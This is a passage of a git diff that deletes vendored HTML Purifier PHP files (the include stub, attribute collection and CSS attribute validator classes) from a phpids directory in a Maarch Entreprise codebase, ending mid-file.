$array_of_html[$key] = $this->purify($html, $config); - $context_array[$key] = $this->context; - } - $this->context = $context_array; - return $array_of_html; - } - - /** - * Singleton for enforcing just one HTML Purifier in your system - * @param $prototype Optional prototype HTMLPurifier instance to - * overload singleton with, or HTMLPurifier_Config - * instance to configure the generated version with. - */ - public static function instance($prototype = null) { - if (!self::$instance || $prototype) { - if ($prototype instanceof HTMLPurifier) { - self::$instance = $prototype; - } elseif ($prototype) { - self::$instance = new HTMLPurifier($prototype); - } else { - self::$instance = new HTMLPurifier(); - } - } - return self::$instance; - } - - /** - * @note Backwards compatibility, see instance() - */ - public static function getInstance($prototype = null) { - return HTMLPurifier::instance($prototype); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php deleted file mode 100755 index d10cbf62ca0f166628bbe8da1ea3851bacf0884e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier.safe-includes.php +++ /dev/null @@ -1,208 +0,0 @@ -<?php - -/** - * @file - * This file was auto-generated by generate-includes.php and includes all of - * the core files required by HTML Purifier. This is a convenience stub that - * includes all files using dirname(__FILE__) and require_once. PLEASE DO NOT - * EDIT THIS FILE, changes will be overwritten the next time the script is run. - * - * Changes to include_path are not necessary. - */ - -$__dir = dirname(__FILE__); - -require_once $__dir . '/HTMLPurifier.php'; -require_once $__dir . '/HTMLPurifier/AttrCollections.php'; -require_once $__dir . '/HTMLPurifier/AttrDef.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform.php'; -require_once $__dir . '/HTMLPurifier/AttrTypes.php'; -require_once $__dir . '/HTMLPurifier/AttrValidator.php'; -require_once $__dir . '/HTMLPurifier/Bootstrap.php'; -require_once $__dir . '/HTMLPurifier/Definition.php'; -require_once $__dir . '/HTMLPurifier/CSSDefinition.php'; -require_once $__dir . '/HTMLPurifier/ChildDef.php'; -require_once $__dir . '/HTMLPurifier/Config.php'; -require_once $__dir . '/HTMLPurifier/ConfigSchema.php'; -require_once $__dir . '/HTMLPurifier/ContentSets.php'; -require_once $__dir . '/HTMLPurifier/Context.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCache.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCacheFactory.php'; -require_once $__dir . '/HTMLPurifier/Doctype.php'; -require_once $__dir . '/HTMLPurifier/DoctypeRegistry.php'; -require_once $__dir . '/HTMLPurifier/ElementDef.php'; -require_once $__dir . '/HTMLPurifier/Encoder.php'; -require_once $__dir . '/HTMLPurifier/EntityLookup.php'; -require_once $__dir . '/HTMLPurifier/EntityParser.php'; -require_once $__dir . '/HTMLPurifier/ErrorCollector.php'; -require_once $__dir . '/HTMLPurifier/ErrorStruct.php'; -require_once $__dir . '/HTMLPurifier/Exception.php'; -require_once $__dir . '/HTMLPurifier/Filter.php'; -require_once $__dir . '/HTMLPurifier/Generator.php'; -require_once $__dir . '/HTMLPurifier/HTMLDefinition.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule.php'; -require_once $__dir . '/HTMLPurifier/HTMLModuleManager.php'; -require_once $__dir . '/HTMLPurifier/IDAccumulator.php'; -require_once $__dir . '/HTMLPurifier/Injector.php'; -require_once $__dir . '/HTMLPurifier/Language.php'; -require_once $__dir . '/HTMLPurifier/LanguageFactory.php'; -require_once $__dir . '/HTMLPurifier/Length.php'; -require_once $__dir . '/HTMLPurifier/Lexer.php'; -require_once $__dir . '/HTMLPurifier/PercentEncoder.php'; -require_once $__dir . '/HTMLPurifier/PropertyList.php'; -require_once $__dir . '/HTMLPurifier/PropertyListIterator.php'; -require_once $__dir . '/HTMLPurifier/Strategy.php'; -require_once $__dir . '/HTMLPurifier/StringHash.php'; -require_once $__dir . '/HTMLPurifier/StringHashParser.php'; -require_once $__dir . '/HTMLPurifier/TagTransform.php'; -require_once $__dir . '/HTMLPurifier/Token.php'; -require_once $__dir . '/HTMLPurifier/TokenFactory.php'; -require_once $__dir . '/HTMLPurifier/URI.php'; -require_once $__dir . '/HTMLPurifier/URIDefinition.php'; -require_once $__dir . '/HTMLPurifier/URIFilter.php'; -require_once $__dir . '/HTMLPurifier/URIParser.php'; -require_once $__dir . '/HTMLPurifier/URIScheme.php'; -require_once $__dir . '/HTMLPurifier/URISchemeRegistry.php'; -require_once $__dir . '/HTMLPurifier/UnitConverter.php'; -require_once $__dir . '/HTMLPurifier/VarParser.php'; -require_once $__dir . '/HTMLPurifier/VarParserException.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/Enum.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/Integer.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/Lang.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/Switch.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/Text.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/URI.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Number.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/AlphaValue.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Background.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Border.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Color.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Composite.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Filter.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Font.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/FontFamily.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Length.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ListStyle.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Multiple.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Percentage.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/TextDecoration.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/CSS/URI.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Bool.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Nmtokens.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Class.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Color.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/FrameTarget.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/ID.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Pixels.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Length.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/LinkTypes.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/HTML/MultiLength.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/URI/Host.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv4.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv6.php'; -require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Background.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/BdoDir.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/BgColor.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/BoolToCSS.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Border.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/EnumToCSS.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/ImgRequired.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/ImgSpace.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Input.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Lang.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Length.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Name.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/NameSync.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Nofollow.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/SafeEmbed.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/SafeObject.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/SafeParam.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/ScriptRequired.php'; -require_once $__dir . '/HTMLPurifier/AttrTransform/Textarea.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/Chameleon.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/Custom.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/Empty.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/Required.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/Optional.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/StrictBlockquote.php'; -require_once $__dir . '/HTMLPurifier/ChildDef/Table.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCache/Null.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCache/Serializer.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; -require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Memory.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Bdo.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/CommonAttributes.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Edit.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Forms.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Hypertext.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Image.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Legacy.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/List.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Name.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Nofollow.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Object.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Presentation.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Proprietary.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Ruby.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/SafeEmbed.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/SafeObject.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Scripting.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/StyleAttribute.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tables.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Target.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Text.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/XMLCommonAttributes.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Name.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Proprietary.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Strict.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Transitional.php'; -require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTML.php'; -require_once $__dir . '/HTMLPurifier/Injector/AutoParagraph.php'; -require_once $__dir . '/HTMLPurifier/Injector/DisplayLinkURI.php'; -require_once $__dir . '/HTMLPurifier/Injector/Linkify.php'; -require_once $__dir . '/HTMLPurifier/Injector/PurifierLinkify.php'; -require_once $__dir . '/HTMLPurifier/Injector/RemoveEmpty.php'; -require_once $__dir . '/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php'; -require_once $__dir . '/HTMLPurifier/Injector/SafeObject.php'; -require_once $__dir . '/HTMLPurifier/Lexer/DOMLex.php'; -require_once $__dir . '/HTMLPurifier/Lexer/DirectLex.php'; -require_once $__dir . '/HTMLPurifier/Strategy/Composite.php'; -require_once $__dir . '/HTMLPurifier/Strategy/Core.php'; -require_once $__dir . '/HTMLPurifier/Strategy/FixNesting.php'; -require_once $__dir . '/HTMLPurifier/Strategy/MakeWellFormed.php'; -require_once $__dir . '/HTMLPurifier/Strategy/RemoveForeignElements.php'; -require_once $__dir . '/HTMLPurifier/Strategy/ValidateAttributes.php'; -require_once $__dir . '/HTMLPurifier/TagTransform/Font.php'; -require_once $__dir . '/HTMLPurifier/TagTransform/Simple.php'; -require_once $__dir . '/HTMLPurifier/Token/Comment.php'; -require_once $__dir . '/HTMLPurifier/Token/Tag.php'; -require_once $__dir . '/HTMLPurifier/Token/Empty.php'; -require_once $__dir . '/HTMLPurifier/Token/End.php'; -require_once $__dir . '/HTMLPurifier/Token/Start.php'; -require_once $__dir . '/HTMLPurifier/Token/Text.php'; -require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternal.php'; -require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternalResources.php'; -require_once $__dir . '/HTMLPurifier/URIFilter/DisableResources.php'; -require_once $__dir . '/HTMLPurifier/URIFilter/HostBlacklist.php'; -require_once $__dir . '/HTMLPurifier/URIFilter/MakeAbsolute.php'; -require_once $__dir . '/HTMLPurifier/URIFilter/Munge.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/data.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/file.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/ftp.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/http.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/https.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/mailto.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/news.php'; -require_once $__dir . '/HTMLPurifier/URIScheme/nntp.php'; -require_once $__dir . '/HTMLPurifier/VarParser/Flexible.php'; -require_once $__dir . '/HTMLPurifier/VarParser/Native.php'; diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php deleted file mode 100755 index 2b3df8fbae50c5024f281c1bd9127860fe99086c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php +++ /dev/null @@ -1,128 +0,0 @@ -<?php - -/** - * Defines common attribute collections that modules reference - */ - -class HTMLPurifier_AttrCollections -{ - - /** - * Associative array of attribute collections, indexed by name - */ - public $info = array(); - - /** - * Performs all expansions on internal data for use by other inclusions - * It also collects all attribute collection extensions from - * modules - * @param $attr_types HTMLPurifier_AttrTypes instance - * @param $modules Hash array of HTMLPurifier_HTMLModule members - */ - public function __construct($attr_types, $modules) { - // load extensions from the modules - foreach ($modules as $module) { - foreach ($module->attr_collections as $coll_i => $coll) { - if (!isset($this->info[$coll_i])) { - $this->info[$coll_i] = array(); - } - foreach ($coll as $attr_i => $attr) { - if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) { - // merge in includes - $this->info[$coll_i][$attr_i] = array_merge( - $this->info[$coll_i][$attr_i], $attr); - continue; - } - $this->info[$coll_i][$attr_i] = $attr; - } - } - } - // perform internal expansions and inclusions - foreach ($this->info as $name => $attr) { - // merge attribute collections that include others - $this->performInclusions($this->info[$name]); - // replace string identifiers with actual attribute objects - $this->expandIdentifiers($this->info[$name], $attr_types); - } - } - - /** - * Takes a reference to an attribute associative array and performs - * all inclusions specified by the zero index. - * @param $attr Reference to attribute array - */ - public function performInclusions(&$attr) { - if (!isset($attr[0])) return; - $merge = $attr[0]; - $seen = array(); // recursion guard - // loop through all the inclusions - for ($i = 0; isset($merge[$i]); $i++) { - if (isset($seen[$merge[$i]])) continue; - $seen[$merge[$i]] = true; - // foreach attribute of the inclusion, copy it over - if (!isset($this->info[$merge[$i]])) continue; - foreach ($this->info[$merge[$i]] as $key => $value) { - if (isset($attr[$key])) continue; // also catches more inclusions - $attr[$key] = $value; - } - if (isset($this->info[$merge[$i]][0])) { - // recursion - $merge = array_merge($merge, $this->info[$merge[$i]][0]); - } - } - unset($attr[0]); - } - - /** - * Expands all string identifiers in an attribute array by replacing - * them with the appropriate values inside HTMLPurifier_AttrTypes - * @param $attr Reference to attribute array - * @param $attr_types HTMLPurifier_AttrTypes instance - */ - public function expandIdentifiers(&$attr, $attr_types) { - - // because foreach will process new elements we add, make sure we - // skip duplicates - $processed = array(); - - foreach ($attr as $def_i => $def) { - // skip inclusions - if ($def_i === 0) continue; - - if (isset($processed[$def_i])) continue; - - // determine whether or not attribute is required - if ($required = (strpos($def_i, '*') !== false)) { - // rename the definition - unset($attr[$def_i]); - $def_i = trim($def_i, '*'); - $attr[$def_i] = $def; - } - - $processed[$def_i] = true; - - // if we've already got a literal object, move on - if (is_object($def)) { - // preserve previous required - $attr[$def_i]->required = ($required || $attr[$def_i]->required); - continue; - } - - if ($def === false) { - unset($attr[$def_i]); - continue; - } - - if ($t = $attr_types->get($def)) { - $attr[$def_i] = $t; - $attr[$def_i]->required = $required; - } else { - unset($attr[$def_i]); - } - } - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef.php deleted file mode 100755 index f001738b8de5fc06f670fd5646364298b6e86d33..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef.php +++ /dev/null @@ -1,123 +0,0 @@ -<?php - -/** - * Base class for all validating attribute definitions. - * - * This family of classes forms the core for not only HTML attribute validation, - * but also any sort of string that needs to be validated or cleaned (which - * means CSS properties and composite definitions are defined here too). - * Besides defining (through code) what precisely makes the string valid, - * subclasses are also responsible for cleaning the code if possible. - */ - -abstract class HTMLPurifier_AttrDef -{ - - /** - * Tells us whether or not an HTML attribute is minimized. Has no - * meaning in other contexts. - */ - public $minimized = false; - - /** - * Tells us whether or not an HTML attribute is required. Has no - * meaning in other contexts - */ - public $required = false; - - /** - * Validates and cleans passed string according to a definition. - * - * @param $string String to be validated and cleaned. - * @param $config Mandatory HTMLPurifier_Config object. - * @param $context Mandatory HTMLPurifier_AttrContext object. - */ - abstract public function validate($string, $config, $context); - - /** - * Convenience method that parses a string as if it were CDATA. - * - * This method process a string in the manner specified at - * <http://www.w3.org/TR/html4/types.html#h-6.2> by removing - * leading and trailing whitespace, ignoring line feeds, and replacing - * carriage returns and tabs with spaces. While most useful for HTML - * attributes specified as CDATA, it can also be applied to most CSS - * values. - * - * @note This method is not entirely standards compliant, as trim() removes - * more types of whitespace than specified in the spec. In practice, - * this is rarely a problem, as those extra characters usually have - * already been removed by HTMLPurifier_Encoder. - * - * @warning This processing is inconsistent with XML's whitespace handling - * as specified by section 3.3.3 and referenced XHTML 1.0 section - * 4.7. However, note that we are NOT necessarily - * parsing XML, thus, this behavior may still be correct. We - * assume that newlines have been normalized. - */ - public function parseCDATA($string) { - $string = trim($string); - $string = str_replace(array("\n", "\t", "\r"), ' ', $string); - return $string; - } - - /** - * Factory method for creating this class from a string. - * @param $string String construction info - * @return Created AttrDef object corresponding to $string - */ - public function make($string) { - // default implementation, return a flyweight of this object. - // If $string has an effect on the returned object (i.e. you - // need to overload this method), it is best - // to clone or instantiate new copies. (Instantiation is safer.) - return $this; - } - - /** - * Removes spaces from rgb(0, 0, 0) so that shorthand CSS properties work - * properly. THIS IS A HACK! - */ - protected function mungeRgb($string) { - return preg_replace('/rgb\((\d+)\s*,\s*(\d+)\s*,\s*(\d+)\)/', 'rgb(\1,\2,\3)', $string); - } - - /** - * Parses a possibly escaped CSS string and returns the "pure" - * version of it. - */ - protected function expandCSSEscape($string) { - // flexibly parse it - $ret = ''; - for ($i = 0, $c = strlen($string); $i < $c; $i++) { - if ($string[$i] === '\\') { - $i++; - if ($i >= $c) { - $ret .= '\\'; - break; - } - if (ctype_xdigit($string[$i])) { - $code = $string[$i]; - for ($a = 1, $i++; $i < $c && $a < 6; $i++, $a++) { - if (!ctype_xdigit($string[$i])) break; - $code .= $string[$i]; - } - // We have to be extremely careful when adding - // new characters, to make sure we're not breaking - // the encoding. - $char = HTMLPurifier_Encoder::unichr(hexdec($code)); - if (HTMLPurifier_Encoder::cleanUTF8($char) === '') continue; - $ret .= $char; - if ($i < $c && trim($string[$i]) !== '') $i--; - continue; - } - if ($string[$i] === "\n") continue; - } - $ret .= $string[$i]; - } - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS.php deleted file mode 100755 index 1e7b886ec8b7838d551415e6fd614b6f9f50ce76..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS.php +++ /dev/null @@ -1,87 +0,0 @@ -<?php - -/** - * Validates the HTML attribute style, otherwise known as CSS. - * @note We don't implement the whole CSS specification, so it might be - * difficult to reuse this component in the context of validating - * actual stylesheet declarations. - * @note If we were really serious about validating the CSS, we would - * tokenize the styles and then parse the tokens. Obviously, we - * are not doing that. Doing that could seriously harm performance, - * but would make these components a lot more viable for a CSS - * filtering solution. - */ -class HTMLPurifier_AttrDef_CSS extends HTMLPurifier_AttrDef -{ - - public function validate($css, $config, $context) { - - $css = $this->parseCDATA($css); - - $definition = $config->getCSSDefinition(); - - // we're going to break the spec and explode by semicolons. - // This is because semicolon rarely appears in escaped form - // Doing this is generally flaky but fast - // IT MIGHT APPEAR IN URIs, see HTMLPurifier_AttrDef_CSSURI - // for details - - $declarations = explode(';', $css); - $propvalues = array(); - - /** - * Name of the current CSS property being validated. - */ - $property = false; - $context->register('CurrentCSSProperty', $property); - - foreach ($declarations as $declaration) { - if (!$declaration) continue; - if (!strpos($declaration, ':')) continue; - list($property, $value) = explode(':', $declaration, 2); - $property = trim($property); - $value = trim($value); - $ok = false; - do { - if (isset($definition->info[$property])) { - $ok = true; - break; - } - if (ctype_lower($property)) break; - $property = strtolower($property); - if (isset($definition->info[$property])) { - $ok = true; - break; - } - } while(0); - if (!$ok) continue; - // inefficient call, since the validator will do this again - if (strtolower(trim($value)) !== 'inherit') { - // inherit works for everything (but only on the base property) - $result = $definition->info[$property]->validate( - $value, $config, $context ); - } else { - $result = 'inherit'; - } - if ($result === false) continue; - $propvalues[$property] = $result; - } - - $context->destroy('CurrentCSSProperty'); - - // procedure does not write the new CSS simultaneously, so it's - // slightly inefficient, but it's the only way of getting rid of - // duplicates. Perhaps config to optimize it, but not now. - - $new_declarations = ''; - foreach ($propvalues as $prop => $value) { - $new_declarations .= "$prop:$value;"; - } - - return $new_declarations ? $new_declarations : false; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/AlphaValue.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/AlphaValue.php deleted file mode 100755 index 93db63f2c656704ee7fbf2356eb8b3d127141be0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/AlphaValue.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -class HTMLPurifier_AttrDef_CSS_AlphaValue extends HTMLPurifier_AttrDef_CSS_Number -{ - - public function __construct() { - parent::__construct(false); // opacity is non-negative, but we will clamp it - } - - public function validate($number, $config, $context) { - $result = parent::validate($number, $config, $context); - if ($result === false) return $result; - $float = (float) $result; - if ($float < 0.0) $result = '0'; - if ($float > 1.0) $result = '1'; - return $result; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Background.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Background.php deleted file mode 100755 index 34c8a6f2de450cbec4daaaaff0cd369c615cfc02..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Background.php +++ /dev/null @@ -1,87 +0,0 @@ -<?php - -/** - * Validates shorthand CSS property background. - * @warning Does not support url tokens that have internal spaces. - */ -class HTMLPurifier_AttrDef_CSS_Background extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of component validators. - * @note See HTMLPurifier_AttrDef_Font::$info for a similar impl. - */ - protected $info; - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['background-color'] = $def->info['background-color']; - $this->info['background-image'] = $def->info['background-image']; - $this->info['background-repeat'] = $def->info['background-repeat']; - $this->info['background-attachment'] = $def->info['background-attachment']; - $this->info['background-position'] = $def->info['background-position']; - } - - public function validate($string, $config, $context) { - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') return false; - - // munge rgb() decl if necessary - $string = $this->mungeRgb($string); - - // assumes URI doesn't have spaces in it - $bits = explode(' ', strtolower($string)); // bits to process - - $caught = array(); - $caught['color'] = false; - $caught['image'] = false; - $caught['repeat'] = false; - $caught['attachment'] = false; - $caught['position'] = false; - - $i = 0; // number of catches - $none = false; - - foreach ($bits as $bit) { - if ($bit === '') continue; - foreach ($caught as $key => $status) { - if ($key != 'position') { - if ($status !== false) continue; - $r = $this->info['background-' . $key]->validate($bit, $config, $context); - } else { - $r = $bit; - } - if ($r === false) continue; - if ($key == 'position') { - if ($caught[$key] === false) $caught[$key] = ''; - $caught[$key] .= $r . ' '; - } else { - $caught[$key] = $r; - } - $i++; - break; - } - } - - if (!$i) return false; - if ($caught['position'] !== false) { - $caught['position'] = $this->info['background-position']-> - validate($caught['position'], $config, $context); - } - - $ret = array(); - foreach ($caught as $value) { - if ($value === false) continue; - $ret[] = $value; - } - - if (empty($ret)) return false; - return implode(' ', $ret); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php deleted file mode 100755 index 6627218e18348a0f1e5da62c19271eee650fd9a5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php +++ /dev/null @@ -1,133 +0,0 @@ -<?php - -/* W3C says: - [ // adjective and number must be in correct order, even if - // you could switch them without introducing ambiguity. - // some browsers support that syntax - [ - <percentage> | <length> | left | center | right - ] - [ - <percentage> | <length> | top | center | bottom - ]? - ] | - [ // this signifies that the vertical and horizontal adjectives - // can be arbitrarily ordered, however, there can only be two, - // one of each, or none at all - [ - left | center | right - ] || - [ - top | center | bottom - ] - ] - top, left = 0% - center, (none) = 50% - bottom, right = 100% -*/ - -/* QuirksMode says: - keyword + length/percentage must be ordered correctly, as per W3C - - Internet Explorer and Opera, however, support arbitrary ordering. We - should fix it up. - - Minor issue though, not strictly necessary. -*/ - -// control freaks may appreciate the ability to convert these to -// percentages or something, but it's not necessary - -/** - * Validates the value of background-position. - */ -class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef -{ - - protected $length; - protected $percentage; - - public function __construct() { - $this->length = new HTMLPurifier_AttrDef_CSS_Length(); - $this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage(); - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - $bits = explode(' ', $string); - - $keywords = array(); - $keywords['h'] = false; // left, right - $keywords['v'] = false; // top, bottom - $keywords['ch'] = false; // center (first word) - $keywords['cv'] = false; // center (second word) - $measures = array(); - - $i = 0; - - $lookup = array( - 'top' => 'v', - 'bottom' => 'v', - 'left' => 'h', - 'right' => 'h', - 'center' => 'c' - ); - - foreach ($bits as $bit) { - if ($bit === '') continue; - - // test for keyword - $lbit = ctype_lower($bit) ? $bit : strtolower($bit); - if (isset($lookup[$lbit])) { - $status = $lookup[$lbit]; - if ($status == 'c') { - if ($i == 0) { - $status = 'ch'; - } else { - $status = 'cv'; - } - } - $keywords[$status] = $lbit; - $i++; - } - - // test for length - $r = $this->length->validate($bit, $config, $context); - if ($r !== false) { - $measures[] = $r; - $i++; - } - - // test for percentage - $r = $this->percentage->validate($bit, $config, $context); - if ($r !== false) { - $measures[] = $r; - $i++; - } - - } - - if (!$i) return false; // no valid values were caught - - $ret = array(); - - // first keyword - if ($keywords['h']) $ret[] = $keywords['h']; - elseif ($keywords['ch']) { - $ret[] = $keywords['ch']; - $keywords['cv'] = 